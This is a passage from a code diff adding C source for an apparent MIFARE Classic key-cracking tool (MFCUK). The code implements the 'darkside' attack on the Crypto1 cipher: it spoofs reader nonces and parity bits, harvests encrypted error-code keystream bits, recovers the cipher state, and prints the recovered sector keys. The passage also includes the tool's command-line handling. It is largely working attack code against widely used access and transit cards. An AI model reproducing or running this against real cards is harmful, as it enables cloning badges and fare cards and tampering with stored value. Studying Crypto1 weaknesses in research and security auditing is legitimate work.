crypto1_byte(pcs,0x00,0) ^ 0x00; + + // Encrypt the parity bits for the 4 plaintext bytes of nr + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00); + + // Get the keystream encrypted Nr value currently loaded into the cypher, i.e. {Nr} + nr_encrypted = nr_encrypted << 8; + nr_encrypted = nr_encrypted | abtArEnc[pos]; + } + + // Skip 32 bits in pseudo random generator + nt = prng_successor(nt,32); + + // Generate reader-answer from tag-nonce (Ar) + for (pos=4; pos<8; pos++) + { + // Get the next random byte for verify the reader to the tag + nt = prng_successor(nt,8); + + // Encrypt the reader-answer (nt' = suc2(nt)) + abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff); + + // Encrypt the parity bits for the 4 plaintext bytes of nt' + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff); + + // Get the keystream encrypted reader response currently loaded into the cypher, i.e. {Ar} + reader_response = reader_response << 8; + reader_response = reader_response | abtArEnc[pos]; + } + + // Finally we want to send arbitrary parity bits + if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,false) ) + { + return MFCUK_FAIL_COMM; + } + + if ( !nfc_initiator_transceive_bits(pnd,abtArEnc,64,abtArEncPar,abtRx,&uiRxLen,abtRxPar) ) + { + return MFCUK_FAIL_AUTH; + } + + crypto1_destroy(pcs); + + if (uiRxLen == 32) + { + for (pos=0; pos<4; pos++) + { + tag_response = tag_response << 8; + tag_response = tag_response | abtRx[pos]; + } + + ks2 = reader_response ^ prng_successor(nt_orig, 64); + ks3 = tag_response ^ prng_successor(nt_orig, 96); + pcs = lfsr_recovery64(ks2, ks3); + + lfsr_rollback_word(pcs, 0, 0); + lfsr_rollback_word(pcs, 0, 0); + lfsr_rollback_word(pcs, nr_encrypted, 1); + lfsr_rollback_word(pcs, uiUID ^ nt_orig, 0); + crypto1_get_lfsr(pcs, &lfsr); + + crypto1_destroy(pcs); + + if (lfsr != ui64Key) + { + return MFCUK_FAIL_CRAPTO; + } + } + else + { + return MFCUK_FAIL_AUTH; + } + + return MFCUK_SUCCESS; +} + +uint32_t mfcuk_key_recovery_block(nfc_device_t* pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, byte_t bTagType, uint32_t uiBlock, uint64_t *ui64KeyRecovered) +{ + // Communication variables + uint32_t pos, pos2, nt; + struct Crypto1State* pcs; + byte_t abtAuth[4] = { 0x60,0x00,0x00,0x00 }; + byte_t abtArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + byte_t abtRx[MAX_FRAME_LEN]; + byte_t abtRxPar[MAX_FRAME_LEN]; + uint32_t uiRxLen; + + // zveriu + static uint32_t nt_orig = 0; + char sendSpoofAr = 0; // We want to spoof the Ar response with all 0s and the use random parity bits for that Nt until we have a successful 4 bits response (0x5) + tag_nonce_entry_t *ptrFoundTagNonceEntry = NULL; + + // Key-recovery variables + struct Crypto1State *states_list; + struct Crypto1State *current_state; + uint32_t i; + uint64_t key_recovered; + byte_t flag_key_recovered = 0; // FIXME: fix the {Nr} iteration properly. This a quick fix for cases when 0xDEADBEEF {Nr} is not working + + if ( (bKeyType != keyA) && (bKeyType != keyB) ) + { + return MFCUK_FAIL_KEYTYPE_INVALID; + } + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return MFCUK_FAIL_TAGTYPE_INVALID; + } + + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MFCUK_FAIL_BLOCK_INVALID; + } + + // Configure the authentication frame using the supplied block + abtAuth[0] = bKeyType; + abtAuth[1] = uiBlock; + append_iso14443a_crc(abtAuth,2); + + // Now we take over, first we need full control over the CRC + nfc_configure(pnd,NDO_HANDLE_CRC,false); + + // Request plain tag-nonce + //printf("Nt: "); + if (!nfc_initiator_transceive_bytes(pnd,abtAuth,4,abtRx,&uiRxLen)) + { + //printf("\n\nFAILURE - Failed to get TAG NONCE!!!\n\n"); + return MFCUK_FAIL_COMM; + } + //print_hex(abtRx,4); + + // Save the tag nonce (nt) + nt = swap_endian32(abtRx); + + // zveriu + //printf("INFO - Nonce distance %d (from 0x%08x, to 0x%08x)\n", nonce_distance(nt, nt_orig), nt, nt_orig); + nt_orig = nt; + + // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16 + ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); + + // A new tag nonce detected, initialize it properly and store in the tag nonce "cache" array for use in it's next appearances + if (!ptrFoundTagNonceEntry) + { + if (numSpoofEntries >= MAX_TAG_NONCES) + { + //printf("\n\nFAILURE - REACHED MAX_TAG_NONCES!!! (Are we so unlucky or the USB/reader is buggy?!)\n\n"); + return MFCUK_FAIL_MEMORY; + } + + arrSpoofEntries[numSpoofEntries].tagNonce = nt_orig; + arrSpoofEntries[numSpoofEntries].num_of_appearances = 1; + numSpoofEntries++; + + // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16 + qsort(arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); + + ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); + + // Put the initializations done in abtRxLen == 32 section here also because maybe we don't know the key actually + ptrFoundTagNonceEntry->spoofFlag = 1; + + // Hardcoding {Nr} and {Ar} and try to guess parity bits + ptrFoundTagNonceEntry->spoofNrEnc = MFCUK_DARKSIDE_START_NR; + ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // First we need to satisfy STAGE1 + ptrFoundTagNonceEntry->current_out_of_8 = -1; + } + else + { + ptrFoundTagNonceEntry->num_of_appearances++; + + + if ( // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr} + (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) || + // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK + ( (ptrFoundTagNonceEntry->current_out_of_8 >= 0) && (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20) ) + ) + { + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_AUTH; + } + + /* + // TODO: if above block is working fine, delete this commented - above one created to reduce code-duplication + // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr} + if (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) + { + //printf("FAILURE - This Nt, {Pfx}, consecutive {Nr}s and {ParBits} combination cannot produce a key-recoverable state\n"); + //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n"); + + //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_AUTH; + } + + if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) + { + // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK + if (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20) + { + //printf("FAILURE - This consecutive {Nr}s and {ParBits} combination cannot produce all 8 required NACKs and KSs of NACKs\n"); + //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n"); + + //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_AUTH; + } + } + */ + } + + sendSpoofAr = ptrFoundTagNonceEntry->spoofFlag; + + // Init cipher with key + pcs = crypto1_create(ui64Key); + + // Load (plain) uid^nt into the cipher + for (pos=0; pos<4; pos++) + { + // Update the cipher with the tag-initialization + // TODO: remove later - crypto1_byte(pcs, pbtUid[pos]^abtRx[pos], 0); + crypto1_byte(pcs, ((uiUID >> (8*(3-pos))) & 0xFF ) ^ abtRx[pos], 0); + } + + // Generate (encrypted) nr+parity by loading it into the cipher (Nr) + for (pos=0; pos<4; pos++) + { + // Load in, and encrypt, the reader nonce (plain nr=0x00000000) + abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00; + + // Encrypt the parity bits for the 4 plaintext bytes of nr + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00); + + if (sendSpoofAr) + { + if (ptrFoundTagNonceEntry->current_out_of_8 < 0) + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofNrEnc >> (8*(3-pos))) & 0xFF; + abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7-pos)) & 0x01; + } + else + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->nrEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8*(3-pos))) & 0xFF; + abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7-pos)) & 0x01; + } + } + } + + // Skip 32 bits in pseudo random generator + nt = prng_successor(nt,32); + + // Generate reader-answer from tag-nonce (Ar) + for (pos=4; pos<8; pos++) + { + // Get the next random byte for verify the reader to the tag + nt = prng_successor(nt,8); + + // Encrypt the reader-answer (nt' = suc2(nt)) + abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff); + // Encrypt the parity bits for the 4 plaintext bytes of nt' + abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff); + + // zveriu - Make the Ar incorrect, but leave parity bits calculated/guessed_spoofed as above + /* If all eight parity bits are correct, but the answer Ar is + wrong, the tag responds with the 4-bit error code 0x5 + signifying failed authentication, called ‘transmission error’ in [KHG08]. + */ + if (sendSpoofAr) + { + if (ptrFoundTagNonceEntry->current_out_of_8 < 0) + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofArEnc >> (8*(7-pos))) & 0xFF; + abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7-pos)) & 0x01; + } + else + { + abtArEnc[pos] = (ptrFoundTagNonceEntry->arEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8*(7-pos))) & 0xFF; + abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7-pos)) & 0x01; + } + } + } + + if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) + { + // Prepare for the next round (if this one is not successful) the next 5 bit combination for current parity bits + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]++; + } + + // Finally we want to send arbitrary parity bits + nfc_configure(pnd,NDO_HANDLE_PARITY,false); + + // Transmit reader-answer + //printf(" Ar: "); + //print_hex_par(abtArEnc,64,abtArEncPar); + + if (!nfc_initiator_transceive_bits(pnd,abtArEnc,64,abtArEncPar,abtRx,&uiRxLen,abtRxPar)) + { + if (sendSpoofAr) + { + ptrFoundTagNonceEntry->spoofParBitsEnc++; + } + + return MFCUK_FAIL_AUTH; + } + + // zveriu - Successful: either authentication (uiRxLen == 32) either encrypted 0x5 reponse (uiRxLen == 4) + if (uiRxLen == 4) + { + //printf("INFO - 4-bit (uiRxLen=%d) error code 0x5 encrypted (abtRx=0x%02x)\n", uiRxLen, abtRx[0] & 0xf); + + if (ptrFoundTagNonceEntry->current_out_of_8 < 0) + { + ptrFoundTagNonceEntry->spoofNackEnc = abtRx[0] & 0xf; + ptrFoundTagNonceEntry->spoofKs = ptrFoundTagNonceEntry->spoofNackEnc ^ 0x5; + ptrFoundTagNonceEntry->spoofNrPfx = ptrFoundTagNonceEntry->spoofNrEnc & 0xFFFFFF1F; + + // Initialize the {Nr} with proper 29 bits prefix and {Par} with proper 3 bits prefix + for (pos=0; pos<8; pos++) + { + ptrFoundTagNonceEntry->nrEnc[pos] = ptrFoundTagNonceEntry->spoofNrPfx | pos << 5; + ptrFoundTagNonceEntry->arEnc[pos] = ptrFoundTagNonceEntry->spoofArEnc; + ptrFoundTagNonceEntry->parBits[pos] = ptrFoundTagNonceEntry->spoofParBitsEnc & 0xE0; + ptrFoundTagNonceEntry->parBitsCrntCombination[pos] = 0; + } + + // Mark the begining of collecting STAGE2 probes + ptrFoundTagNonceEntry->current_out_of_8 = 0; + } + else + { + ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] = abtRx[0] & 0xf; + ptrFoundTagNonceEntry->ks[ptrFoundTagNonceEntry->current_out_of_8] = ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] ^ 0x5; + ptrFoundTagNonceEntry->current_out_of_8++; + + if (ptrFoundTagNonceEntry->current_out_of_8 == 8) + { + for (pos=0; pos<8; pos++) + { + for (pos2=0; pos2<8; pos2++) + { + ptrFoundTagNonceEntry->parBitsArr[pos][pos2] = ( (ptrFoundTagNonceEntry->parBits[pos] + ptrFoundTagNonceEntry->parBitsCrntCombination[pos] - 1) >> (7-pos2)) & 0x01; + } + } + + states_list = lfsr_common_prefix(ptrFoundTagNonceEntry->spoofNrPfx, ptrFoundTagNonceEntry->spoofArEnc, ptrFoundTagNonceEntry->ks, ptrFoundTagNonceEntry->parBitsArr); + + for (i=0; (states_list) && ((states_list+i)->odd != 0 || (states_list+i)->even != 0) && (itagNonce, 0); + crypto1_get_lfsr(current_state, &key_recovered); + + if ( bfOpts['v'] && (verboseLevel > 1) ) + { + printf("\nINFO: block %d recovered KEY: %012llx\n", uiBlock, key_recovered); + } + + flag_key_recovered = 1; + + *ui64KeyRecovered = key_recovered; + } + + crypto1_destroy(states_list); + + if (!flag_key_recovered) + { + //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); + ptrFoundTagNonceEntry->spoofNrEnc++; + ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; + ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; + + // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same + ptrFoundTagNonceEntry->current_out_of_8 = -1; + + return MFCUK_FAIL_CRAPTO; + } + } + } + } + else if (uiRxLen == 32) + { + // Are we so MFCUKing lucky (?!), since ui64Key is a "dummy" key + flag_key_recovered = true; + *ui64KeyRecovered = ui64Key; + } + + //printf(" At: "); + //print_hex_par(abtRx,uiRxLen,abtRxPar); + + crypto1_destroy(pcs); + + if (flag_key_recovered) + { + return MFCUK_OK_KEY_RECOVERED; + } + else + { + return MFCUK_SUCCESS; + } +} + +/* +TODO: +- have an option with frequency of the display information, and with portable way of getting elapsed time +-m max_iterations - stop everything after so many iterations, default is infinite until all keys found +-T max_elapsed_time - stop after time elapsed +*/ +void print_usage(FILE *fp) +{ + fprintf(fp, "\n"); + fprintf(fp, "Usage:\n"); + fprintf(fp, "-i mifare.dmp - load input mifare_tag type dump\n"); + fprintf(fp, "-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_tag type dump\n"); + fprintf(fp, "-o mifare.dmp - output the resulting mifare_tag dump to a given file\n"); + fprintf(fp, "-O mifare_ext.dmp - output the resulting extended dump to a given file\n"); + fprintf(fp, "-V sector[:A/B/any_other_alphanum[:fullkey]] - verify key for specified sector, -1 means all sectors\n"); + fprintf(fp, "\tAfter first semicolon key-type can specified: A verifies only keyA, B verifies only keyB, anything else verifies both keys\n"); + fprintf(fp, "\tAfter second semicolon full 12 hex-digits key can specified - this key will override any loaded dump key for the given sector(s) and key-type(s)\n"); + fprintf(fp, "-R sector[:A/B/any_other_alphanum] - recover key for sector, -1 means all sectors.\n"); + fprintf(fp, "\tAfter first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys\n"); + fprintf(fp, "-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded\n"); + fprintf(fp, "-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire\n"); + fprintf(fp, "-D - for sectors and key-types markes for verification, use first default keys to verify (maybe you are lucky)\n"); + fprintf(fp, "-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys\n"); + fprintf(fp, "-s - miliseconds to sleep for DROP FIELD\n"); + fprintf(fp, "-S - miliseconds to sleep for CONSTANT DELAY\n"); + fprintf(fp, "\n"); + return; +} + +void print_identification() +{ + fprintf(stdout, "\n"); + fprintf(stdout, "%s - %s\n", PACKAGE_NAME, PACKAGE_VERSION); + fprintf(stdout, "%s - %s\n", BUILD_NAME, BUILD_VERSION); + fprintf(stdout, "by %s\n", BUILD_AUTHOR); + fprintf(stdout, "\n"); +} + + + +void print_mifare_tag_actions(const char *title, mifare_tag *tag) +{ + uint32_t i, max_blocks, trailer_block; + byte_t bTagType; + mifare_block_trailer *ptr_trailer = NULL; + + if (!tag) + { + return; + } + + bTagType = tag->amb->mbm.btUnknown; + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return; + } + + printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n", + title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType, + (IS_MIFARE_CLASSIC_1K(bTagType)?(MIFARE_CLASSIC_1K_NAME):(IS_MIFARE_CLASSIC_4K(bTagType)?(MIFARE_CLASSIC_4K_NAME):(MIFARE_CLASSIC_UNKN_NAME))) + ); + printf("---------------------------------------------------------------------\n"); + printf("Sector\t| Key A\t|ACTS | RESL\t| Key B\t|ACTS | RESL\n"); + printf("---------------------------------------------------------------------\n"); + + if ( IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown) ) + { + max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; + } + else + { + max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; + } + + for (i=0; iabtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2], + ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5], + (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_RECOVER)?'R':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_RECOVER)?'R':'.', + ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2], + ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5], + (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_RECOVER)?'R':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_VERIFY)?'V':'.', + (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_RECOVER)?'R':'.' + ); + + // Go beyond current trailer block, i.e. go to next sector + i = trailer_block; + } + + printf("\n"); + + return; +} + +bool mfcuk_darkside_reset_advanced(nfc_device_t* pnd) +{ + if ( !nfc_configure(pnd,NDO_HANDLE_CRC,true) ) + { + //fprintf(stderr, "ERROR: configuring NDO_HANDLE_CRC\n"); + //return false; + } + + if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,true) ) + { + //fprintf(stderr, "ERROR: configuring NDO_HANDLE_PARITY\n"); + //return false; + } + + return true; +} + +bool mfcuk_darkside_select_tag(nfc_device_t* pnd, int iSleepAtFieldOFF, int iSleepAfterFieldON, nfc_target_info_t* ti) +{ + nfc_target_info_t ti_tmp; + + if ( !pnd || !ti ) + { + fprintf(stderr, "ERROR: some parameter are NULL\n"); + return false; + } + + // Drop the field for a while, so the card can reset + if ( !nfc_configure(pnd,NDO_ACTIVATE_FIELD,false) ) + { + fprintf(stderr, "ERROR: configuring NDO_ACTIVATE_FIELD\n"); + return false; + } + + // {WPMCC09} 2.4. Tag nonces: "drop the field (for approximately 30us) to discharge all capacitors" + sleep(iSleepAtFieldOFF); + + // Let the reader only try once to find a tag + if ( !nfc_configure(pnd,NDO_INFINITE_SELECT,false) ) + { + fprintf(stderr, "ERROR: configuring NDO_INFINITE_SELECT\n"); + return false; + } + + // Configure the CRC and Parity settings + if ( !nfc_configure(pnd,NDO_HANDLE_CRC,true) ) + { + fprintf(stderr, "ERROR: configuring NDO_HANDLE_CRC\n"); + return false; + } + + if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,true) ) + { + fprintf(stderr, "ERROR: configuring NDO_HANDLE_PARITY\n"); + return false; + } + + // Enable field so more power consuming cards can power themselves up + if ( !nfc_configure(pnd,NDO_ACTIVATE_FIELD,true) ) + { + fprintf(stderr, "ERROR: configuring NDO_ACTIVATE_FIELD\n"); + return false; + } + + // Switch the field back on, and wait for a constant amount of time before authenticating + sleep(iSleepAfterFieldON); + + // Poll for a ISO14443A (MIFARE) tag + if (!nfc_initiator_select_tag(pnd,NM_ISO14443A_106,NULL,0,&ti_tmp)) + { + fprintf(stderr, "ERROR: connecting to MIFARE Classic tag\n"); + //nfc_disconnect(pnd); + return false; + } + + memcpy( ti, &ti_tmp, sizeof(ti_tmp) ); + + return true; +} + +int main(int argc, char* argv[]) +{ + // getopt related + int ch = 0; + char strOutputFilename[256] = {0}; // Initialize with '\0' character + //char extendedDescription[MFCUK_EXTENDED_DESCRIPTION_LENGTH] = {0}; // Initialize with '\0' character + byte_t keyOpt[MIFARE_CLASSIC_KEY_BYTELENGTH] = {0}; + byte_t uidOpt[MIFARE_CLASSIC_UID_BYTELENGTH] = {0}; + mifare_block_trailer *ptr_trailer = NULL; + mifare_block_trailer *ptr_trailer_dump = NULL; + int sector = 0; + uint32_t block = 0; + byte_t action = 0; + byte_t specific_key_type = 0; + byte_t max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS; + // Defaults, can be overriden by -S and -s command line arguments + int iSleepAtFieldOFF = SLEEP_AT_FIELD_OFF; // modified with argument -S + int iSleepAfterFieldON = SLEEP_AFTER_FIELD_ON; // modified with argument -s + + char *token = NULL; + char *sep = ":"; + char *str = NULL; + int iter = 0; + + // libnfc related + nfc_device_t* pnd; + nfc_target_info_t ti; + + // mifare and crapto related + uint32_t uiBlock = 0;//14; + uint64_t ui64Key = 0xc1e51c63b8f5;//0xffffffffffff; + uint32_t uiErrCode = MFCUK_SUCCESS; + uint64_t ui64KeyRecovered; + mifare_tag_ext dump_loaded_tag; + mifare_tag_ext tag_on_reader; + mifare_tag_ext tag_recover_verify; + mifare_key_type bKeyType = keyA; + + // various related + int i, j, k; + size_t st; + int numDefKeys = mfcuk_default_keys_num; + byte_t (*current_default_keys)[MIFARE_CLASSIC_KEY_BYTELENGTH]; + + // At runtime, duplicate the mfcuk_default_keys[], and then add at it's bottom the default keys specified via -d command line options + if ( !(current_default_keys = malloc(numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH)) ) + { + fprintf(stderr, "ERROR: failed to allocate memory for current_default_keys\n"); + return 1; + } + + // Init the structs + memcpy( current_default_keys, mfcuk_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH); + memset( &dump_loaded_tag, 0, sizeof(dump_loaded_tag) ); + memset( &tag_on_reader, 0, sizeof(tag_on_reader) ); + memset( &tag_recover_verify, 0, sizeof(tag_recover_verify) ); + + tag_recover_verify.type = MIFARE_CLASSIC_4K; + tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = MIFARE_CLASSIC_4K; + + // "Sort-of" initializing the entries + memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries)); + + // MAIN ( broken-brain (: ) logic of the tool + // --------------------------------------- + clear_screen(); + + print_identification(); + + if (argc < 2) + { + print_usage(stdout); + return 1; + } + + // OPTION PROCESSING BLOCK + // TODO: for WIN32 figure out how to use unistd/posix-compatible Gnu.Getopt.dll (http://getopt.codeplex.com) + // For WIN32 using VERY limited (modified) Xgetopt (http://www.codeproject.com/KB/cpp/xgetopt.aspx) + while ((ch = getopt(argc, argv, "htTDi:I:o:O:V:R:S:s:v:M:U:d:n:")) != -1) // -1 or EOF + { + switch(ch) + { + // Name for the extended dump + case 'n': + strncpy( tag_recover_verify.description, optarg, sizeof(tag_recover_verify.description) ); + break; + // Additional default key option + case 'd': + memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH); + + if ( strlen(optarg) != (MIFARE_CLASSIC_KEY_BYTELENGTH*2) ) + { + // accept only 12 hex digits (fully qualified) Mifare Classic keys + fprintf(stderr, "WARN: invalid length key argument (%s)\n", optarg); + break; + } + + for (st=0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) + { + if ( !is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1]) ) + { + // bad input hex string + fprintf(stderr, "WARN: invalid hex chars in key argument (%s)\n", optarg); + break; + } + keyOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]); + } + + // Increase number of keys + numDefKeys++; + + // Also increase the memory to hold one more key. Hope not many keys will be specified, + // so realloc() will not impact performance and will not fragment memory + if ( !(current_default_keys = realloc(current_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH)) ) + { + fprintf(stderr, "ERROR: failed to reallocate memory for current_default_keys\n"); + return 1; + } + + memcpy( &(current_default_keys[numDefKeys-1]), &keyOpt, MIFARE_CLASSIC_KEY_BYTELENGTH); + + // Mark current option as specified (though not used in any checks) + bfOpts[ch] = true; + + // Force the use of default keys + bfOpts['D'] = true; + + break; + // Verbose option and level + case 'v': + if ( !(i = atoi(optarg)) || (i < 1) ) + { + fprintf(stderr, "WARN: non-supported verbose-level value (%s)\n", optarg); + } + else + { + verboseLevel = i; + bfOpts[ch] = true; + } + break; + case 'M': + // Mifare Classic type option + if ( !(i = atoi(optarg)) || (!IS_MIFARE_CLASSIC_1K(i) && !IS_MIFARE_CLASSIC_4K(i)) ) + { + fprintf(stderr, "WARN: non-supported tag type value (%s)\n", optarg); + } + else + { + tag_recover_verify.type = i; + tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = i; + bfOpts[ch] = true; + } + break; + case 'U': + // UID option + if ( strlen(optarg) != (MIFARE_CLASSIC_UID_BYTELENGTH*2) ) + { + // accept only 8 hex digits (fully qualified) Mifare Classic keys + fprintf(stderr, "WARN: invalid length UID argument (%s)\n", optarg); + break; + } + + for (st=0; st < MIFARE_CLASSIC_UID_BYTELENGTH; st++) + { + if ( !is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1]) ) + { + // bad input hex string + fprintf(stderr, "WARN: invalid hex chars in key argument (%s)\n", optarg); + break; + } + uidOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]); + } + + if (st >= MIFARE_CLASSIC_UID_BYTELENGTH) + { + tag_recover_verify.uid = swap_endian32(uidOpt); + memcpy( tag_recover_verify.tag_basic.amb[0].mbm.abtUID, uidOpt, MIFARE_CLASSIC_UID_BYTELENGTH ); + bfOpts[ch] = true; + } + break; + case 'S': + // Sleep for "AT FIELD OFF" + if ( !(i = atoi(optarg)) || (i < 1) || (i > 10000) ) + { + fprintf(stderr, "WARN: non-supported sleep-AT-field OFF value (%s)\n", optarg); + } + else + { + iSleepAtFieldOFF = i; + bfOpts[ch] = true; + } + break; + case 's': + // Sleep for "AFTER FIELD ON" + if ( !(i = atoi(optarg)) || (i < 1) || (i > 10000) ) + { + fprintf(stderr, "WARN: non-supported sleep-AFTER-field ON value (%s)\n", optarg); + } + else + { + iSleepAfterFieldON = i; + bfOpts[ch] = true; + } + break; + case 'D': + // Use DEFAULT KEYS for verification of sectors and key-types marked as ACTIONS_VERIFY + bfOpts[ch] = true; + break; + case 'R': + case 'V': + // Recover or Verify + action = (ch=='R')?ACTIONS_RECOVER:ACTIONS_VERIFY; + + token = NULL; + str = optarg; + iter = 0; + while ( (token = strtok(str, sep)) && (iter < 3) ) + { + switch(iter) + { + // Here is the sector argument + case 0: + // BUG: if sector is 0, atoi() returns 0 (ok); if sector is non-numeric, atoi() returns also 0 